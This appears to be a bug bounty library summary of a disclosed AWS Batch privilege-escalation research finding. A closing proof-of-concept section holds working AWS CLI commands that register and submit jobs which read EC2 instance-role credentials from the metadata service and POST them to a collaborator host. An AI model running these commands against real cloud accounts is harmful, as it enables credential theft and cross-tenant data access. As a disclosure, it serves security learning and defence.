# Messing Around With AWS Batch For Privilege Escalations

AWS Batch EC2 jobs share host network, letting a compromised job reach IMDSv2 and steal the privileged EC2 Spot instance role, escalating to other tenants' data.

- Payout: Research
- Severity: high
- Program: Amazon
- Write-up by: Doyensec
- Disclosed: 2023-06-12
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2023-06-13-messing-around-with-aws-batch-for-privilege-escalations-html
- Tags: area:cloud domain:cloud impact:data-leak impact:privesc kind:research platform:research sev:high tech:aws technique:chained technique:source-review vuln:access-control

**Target:** AWS Batch EC2 compute environment / ECS task containers
**Root cause:** Batch job containers on EC2 compute environments run with host network configuration, so a job can reach the EC2 IMDSv2 (169.254.169.254) on behalf of the host Spot instance; IMDS restrictions were only applied by the worker at task start, not enforced for attacker-submitted jobs.
**Steps:**
1. Obtain job execution role creds via CMDS at `169.254.169.254`/`169.254.170.2` using `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` (IMDS blocked in normal jobs).
2. Use `batch:RegisterJobDefinition` + `batch:SubmitJob` to define a job with `curlimages/curl` that curls IMDSv2 token then `/latest/meta-data/iam/security-credentials/` and exfils to collaborator.
3. Submit job to queue (name via `aws batch describe-job-queues`) with `--scheduling-priority-override 999`.
4. Receive host role name via collaborator POST.
5. Register second job definition fetching `/latest/meta-data/iam/security-credentials/ROLE_NAME` and exfiltrating; receive host EC2 Spot instance credentials.
**How found:** Testing a multi-tenant AWS Batch platform; IMDS was network-restricted in containers so they pivoted to CMDS (169.254.170.2) to get job creds, then via dorking/code review discovered Batch EC2 jobs use host networking and IMDS restrictions are only applied by the worker at start, so self-submitted jobs bypass them.
**Exploitation:** Attacker with command execution in a batch job uses the job's execution role (RegisterJobDefinition/SubmitJob) to launch a malicious job that, due to host networking, queries IMDSv2 as the host Spot instance and exfiltrates its high-privilege role credentials (EFS access etc.), enabling cross-tenant data access.
**Escalation:** Chained job-role creds -> malicious job definition -> host IMDS -> privileged EC2 Spot instance role -> other tenants' EFS data.
**Insight:** In AWS Batch/ECS EC2 launch types, containers share the host network and can hit IMDS as the instance role; if you land in a job with SubmitJob/RegisterJobDefinition, submit your own job to bypass worker-applied IMDS blocks and grab the host instance profile.

## Proof of concept (copied exactly from the original report)

**Malicious Batch job definition exfiltrating IMDS role name**

```
$ aws batch register-job-definition --job-definition-name poc-get-rolename --type container --container-properties '{ "image": "curlimages/curl",
"vcpus": 1, "memory": 20, "command": [ "sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ > /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m"]}'
```

**Submit malicious job to LowPriorityEc2 queue**

```
aws batch submit-job --job-name attacker-jb-getrolename --job-queue LowPriorityEc2 --job-definition poc-get-rolename --scheduling-priority-override 999 --share-identifier asd
```

**Job definition exfiltrating host EC2 role credentials**

```
$ aws batch register-job-definition --job-definition-name poc-get-aimcreds --type container --container-properties '{ "image": "curlimages/curl",
"vcpus": 1, "memory": 20, "command": [ "sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ROLE_NAME > /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m"]}'
```